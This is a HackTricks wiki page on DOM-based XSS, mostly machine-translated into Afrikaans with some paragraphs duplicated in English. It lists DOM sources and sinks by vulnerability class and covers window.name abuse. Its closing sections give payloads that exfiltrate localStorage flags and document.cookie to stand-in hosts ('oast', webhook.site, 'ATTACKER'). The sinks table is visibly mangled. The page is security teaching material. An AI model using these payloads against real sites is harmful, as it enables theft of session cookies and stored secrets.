DOM XSS

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

DOM Kwetsbaarhede

DOM kwetsbaarhede kom voor wanneer data van attacker-controlled sources (like location.search, document.referrer, or document.cookie) onveilig oorgedra word na sinks. Sinks is funksies of objeke (e.g., eval(), document.body.innerHTML) wat skadelike inhoud kan uitvoer of weergee as hulle kwaadaardige data ontvang.

  • Sources is insette wat deur aanvallers gemanipuleer kan word, insluitend URLs, cookies, en webboodskappe.
  • Sinks is moontlik gevaarlike eindpunte waar kwaadaardige data nadelige gevolge kan hê, soos die uitvoering van skripte.

Die risiko ontstaan wanneer data van ’n source na ’n sink vloei sonder behoorlike validasie of sanitasie, wat aanvalle soos XSS moontlik maak.

Tip

Jy kan ’n meer op-datum lys van sources en sinks vind by https://github.com/wisec/domxsswiki/wiki

Algemene sources:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

Common Sinks:

Open RedirectJavascript InjectionDOM-data manipulationjQuery
locationeval()scriptElement.srcadd()
location.hostFunction() constructorscriptElement.textafter()
location.hostnamesetTimeout()scriptElement.textContentappend()
location.hrefsetInterval()scriptElement.innerTextanimate()
location.pathnamesetImmediate()someDOMElement.setAttribute()insertAfter()
location.searchexecCommand()someDOMElement.searchinsertBefore()
location.protocolexecScript()someDOMElement.textbefore()
location.assign()msSetImmediate()someDOMElement.textContenthtml()
location.replace()range.createContextualFragment()someDOMElement.innerTextprepend()
open()crypto.generateCRMFRequest()someDOMElement.outerTextreplaceAll()
domElem.srcdoc``Local file-path manipulationsomeDOMElement.valuereplaceWith()
XMLHttpRequest.open()FileReader.readAsArrayBuffer()someDOMElement.namewrap()
XMLHttpRequest.send()FileReader.readAsBinaryString()someDOMElement.targetwrapInner()
jQuery.ajax()FileReader.readAsDataURL()someDOMElement.methodwrapAll()
$.ajax()FileReader.readAsText()someDOMElement.typehas()
``Ajax request manipulationFileReader.readAsFile()someDOMElement.backgroundImageconstructor()
XMLHttpRequest.setRequestHeader()FileReader.root.getFile()someDOMElement.cssTextinit()
XMLHttpRequest.open()FileReader.root.getFile()someDOMElement.codebaseindex()
XMLHttpRequest.send()Link manipulationsomeDOMElement.innerHTMLjQuery.parseHTML()
jQuery.globalEval()someDOMElement.hrefsomeDOMElement.outerHTML$.parseHTML()
$.globalEval()someDOMElement.srcsomeDOMElement.insertAdjacentHTMLClient-side JSON injection
``HTML5-storage manipulationsomeDOMElement.actionsomeDOMElement.oneventJSON.parse()
sessionStorage.setItem()XPath injectiondocument.write()jQuery.parseJSON()
localStorage.setItem()document.evaluate()document.writeln()$.parseJSON()
**[**`Denial of Service`**](dom-xss.md#denial-of-service)**someDOMElement.evaluate()document.title``Cookie manipulation
requestFileSystem()``Document-domain manipulationdocument.implementation.createHTMLDocument()document.cookie
RegExp()document.domainhistory.pushState()WebSocket-URL poisoning
Client-Side SQl injectionWeb-message manipulationhistory.replaceState()WebSocket
executeSql()postMessage()````

The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.

Die innerHTML sink aanvaar nie script elemente in enige moderne browser nie, en svg onload gebeure sal ook nie afgevuur word nie. Dit beteken jy sal alternatiewe elemente soos img of iframe moet gebruik.

This kind of XSS is probably the hardest to find, as you need to look inside the JS code, see if it’s using any object whose value you control, and in that case, see if there is any way to abuse it to execute arbitrary JS.

Hierdie tipe XSS is waarskynlik die moeilikste om te vind, aangesien jy binne die JS-kode moet kyk of dit enige objek gebruik waarvan jy die waarde beheer, en in daardie geval moet nagaan of daar ’n manier is om dit te misbruik om arbitrêre JS uit te voer.

Tools to find them

Voorbeelde

Open Redirect

From: https://portswigger.net/web-security/dom-based/open-redirection

Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.

Open redirect vulnerabilities in the DOM gebeur wanneer ’n script data skryf, wat ’n attacker kan beheer, in ’n sink wat navigasie oor domeine kan inisieer.

It’s crucial to understand that executing arbitrary code, such as javascript:alert(1), is possible if you have control over the start of the URL where the redirection occurs.

Dit is belangrik om te verstaan dat die uitvoering van arbitrêre kode, soos javascript:alert(1), moontlik is as jy beheer het oor die begin van die URL waar die omleiding plaasvind.

Sinks:

location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

Van: https://portswigger.net/web-security/dom-based/cookie-manipulation

DOM-based cookie-manipulasie-kwesbaarhede kom voor wanneer ’n script data insluit wat deur ’n aanvaller beheer kan word in die waarde van ’n cookie. Hierdie kwesbaarheid kan lei tot onverwagte gedrag van die webbladsy as die cookie binne die site gebruik word. Boonop kan dit uitgebuit word om ’n session fixation attack uit te voer as die cookie betrokke is by die volg van gebruikersessies. Die primêre sink wat met hierdie kwesbaarheid geassosieer word, is:

Sinks:

document.cookie

JavaScript Injection

From: https://portswigger.net/web-security/dom-based/javascript-injection

DOM-based JavaScript injection-kwesbaarhede ontstaan wanneer ’n script data, wat deur ’n aanvaller beheer kan word, as JavaScript code uitvoer.

Sinks:

eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()

Document-domain manipulation

From: https://portswigger.net/web-security/dom-based/document-domain-manipulation

Document-domain manipulation vulnerabilities kom voor wanneer ’n script die document.domain-eienskap stel deur data te gebruik wat ’n aanvaller kan beheer.

Die document.domain-eienskap speel ’n sleutelrol in die afdwinging van die same-origin policy deur blaaiers. Wanneer twee bladsye van verskillende oorspronge hul document.domain op die dieselfde waarde stel, kan hulle sonder beperkings met mekaar kommunikeer. Alhoewel blaaiers sekere beperkings oplê op watter waardes aan document.domain toegeken kan word, wat die toekenning van heeltemal onverwante waardes aan die werklike bladsy-oorsprong voorkom, bestaan daar uitsonderings. Gewoonlik laat blaaiers die gebruik van subdomeine of ouer-domeine toe.

Sinks:

document.domain

WebSocket-URL poisoning

From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning

WebSocket-URL poisoning gebeur wanneer ’n script beheersbare data as die teiken-URL vir ’n WebSocket-verbinding gebruik.

Sinks:

Die WebSocket constructor kan lei tot WebSocket-URL poisoning vulnerabilities.

From: https://portswigger.net/web-security/dom-based/link-manipulation

DOM-based link-manipulation vulnerabilities kom voor wanneer ’n script skryf attacker-controllable data to a navigation target binne die huidige bladsy, soos ’n klikbare skakel of die indienings-URL van ’n vorm.

Sinks:

someDOMElement.href
someDOMElement.src
someDOMElement.action

Ajax request manipulation

Van: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation

Ajax request manipulation vulnerabilities ontstaan wanneer ’n script attacker-controllable data into an Ajax request skryf wat gestuur word deur ’n XmlHttpRequest object.

Sinks:

XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()

Local file-path manipulation

Van: https://portswigger.net/web-security/dom-based/local-file-path-manipulation

Local file-path manipulation vulnerabilities ontstaan wanneer ’n script attacker-controllable data to a file-handling API as die filename parameter stuur. Hierdie kwesbaarheid kan deur ’n aanvaller uitgebuit word om ’n URL te konstrueer wat, indien deur ’n ander gebruiker besoek, ertoe kan lei dat die blaaier van die gebruiker ’n ewekansige plaaslike lêer oopmaak of skryf.

Sinks:

FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()

Client-Side SQl injection

Van: https://portswigger.net/web-security/dom-based/client-side-sql-injection

Client-side SQL-injection vulnerabilities kom voor wanneer ’n script attacker-controllable data in ’n client-side SQL query op ’n onveilige manier inkorporeer.

Sinks:

executeSql()

HTML5-storage manipulation

From: https://portswigger.net/web-security/dom-based/html5-storage-manipulation

HTML5-storage manipulation vulnerabilities ontstaan wanneer ’n script aanvaller-beheerbare data in die webblaaier se HTML5 storage stoor (localStorage of sessionStorage). Hoewel hierdie aksie op sigself nie noodwendig ’n sekuriteitskwessie is nie, word dit problematies as die toepassing daarna die gestoor data lees en onveilig verwerk. Dit kan ’n aanvaller toelaat om die storingsmeganisme te benut om ander DOM-based attacks uit te voer, soos cross-site scripting en JavaScript injection.

Sinks:

sessionStorage.setItem()
localStorage.setItem()

XPath injection

Van: https://portswigger.net/web-security/dom-based/client-side-xpath-injection

DOM-based XPath-injection vulnerabilities kom voor wanneer ’n skrip attacker-controllable data into an XPath query inkorporeer.

Sinks:

document.evaluate()
someDOMElement.evaluate()

Client-side JSON injection

From: https://portswigger.net/web-security/dom-based/client-side-json-injection

DOM-based JSON-injection vulnerabilities kom voor wanneer ’n script inkorporeer attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application.

Sinks:

JSON.parse()
jQuery.parseJSON()
$.parseJSON()

Web-message manipulation

From: https://portswigger.net/web-security/dom-based/web-message-manipulation

Web-message vulnerabilities ontstaan wanneer ’n skrip data wat deur ’n aanvaller beheer kan word as ’n webboodskap na ’n ander dokument binne die blaaier stuur. ’n Voorbeeld van kwesbare Web-message manipulation is te vinde by PortSwigger’s Web Security Academy.

Sinks:

DOM-data manipulation

From: https://portswigger.net/web-security/dom-based/dom-data-manipulation

DOM-data manipulation vulnerabilities ontstaan wanneer ’n skrip data wat deur ’n aanvaller beheer kan word na ’n veld binne die DOM skryf wat binne die sigbare UI of client-side logika gebruik word. Hierdie kwesbaarheid kan deur ’n aanvaller uitgebuit word om ’n URL te konstrueer wat, as dit deur ’n ander gebruiker besoek word, die voorkoms of gedrag van die client-side UI kan verander.

Sinks:

scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()

Denial of Service

Bron: https://portswigger.net/web-security/dom-based/denial-of-service

DOM-based denial-of-service vulnerabilities kom voor wanneer ’n skrip deur die aanvaller beheerbare data onveilig aan ’n problematiese platform-API deurgee. Dit sluit APIs in wat, wanneer aangeroep, die gebruiker se rekenaar daartoe kan lei om oormatige hoeveelhede CPU of skyfruimte te verbruik. Sulke kwetsbaarhede kan beduidende newe-effekte hê, soos dat die blaaier die webwerf se funksionaliteit beperk deur pogings om data in localStorage te stoor te verwerp, of deur besige skripte te beëindig.

Sinks:

requestFileSystem()
RegExp()

Dom Clobbering

Dom Clobbering

Implicit globals & window.name abuse

Wanneer name sonder ’n deklarasie (var/let/const) gebruik word, verwys dit na window.name. Omdat window.name oor kruis-oorsprong-navigasies behoue bly, kan ’n aanvaller ’n blaai-konteksnaam vooraf vul met HTML/JS en later slagoffer-kode dit as vertroude data laat render:

  • Open/navigeer die teiken in ’n benoemde konteks wat jy beheer:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
  • Of hergebruik window.open met ’n vervaardigde target-naam:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")

As die toepassing later element.innerHTML = name (of ’n soortgelyke sink) sonder sanitisering doen, sal die deur die aanvaller beheerde window.name-string in die teiken-origin uitgevoer word, wat DOM XSS en toegang tot same-origin storage moontlik maak.

Admin/automation strome: vooraf-gevulde opslag & javascript: navigasie

Automatiserings-bots (bv. Playwright) besoek dikwels eers ’n interne bladsy, stel geheime in localStorage/cookies, en navigeer dan na gebruikersverskafde URLs. Enige DOM XSS-primitive (insluitend misbruik van window.name) in daardie stroom kan die vooraf-gevulde geheim uitlek:

fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))

As die bot nie skemas beperk nie, sal die verskaffing van ’n javascript: URL (javascript:fetch(...)) in die huidige oorsprong sonder nuwe navigasie uitgevoer word, directly leaking storage values.

Template literal innerHTML + gedeeltelike sanitisasie-gate

Frontends wat slegs sekere velde sanitiseer maar steeds ’n onbetroubare een direk in innerHTML interpoleer, is triviaal uitbuitbaar. Voorbeeld:

fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => {
reports.forEach(report => {
reportCard.innerHTML = `
<div>${DOMPurify.sanitize(report.id)}</div>
<div>${report.details}</div> <!-- unsanitized sink -->
`;
});
});

As die ongesaniteerde veld op die server gestoor word (bv. bug report “details”), word die payload stored DOM XSS vir enige gemagtigde kyker van die lys. ’n Eenvoudige payload soos <img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)> word uitgevoer wanneer ’n admin die bladsy open en stuur hul koekies na die aanvaller.

Wanneer die app uitdruklik SESSION_COOKIE_HTTPONLY deaktiveer (bv. Flask app.config['SESSION_COOKIE_HTTPONLY'] = False), gee die gesteelde cookie dadelik toegang tot die admin session selfs al roteer die signing secret by elke opstart (toevallige secret_key verhoed vervalsing, maar diefstal werk steeds).

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks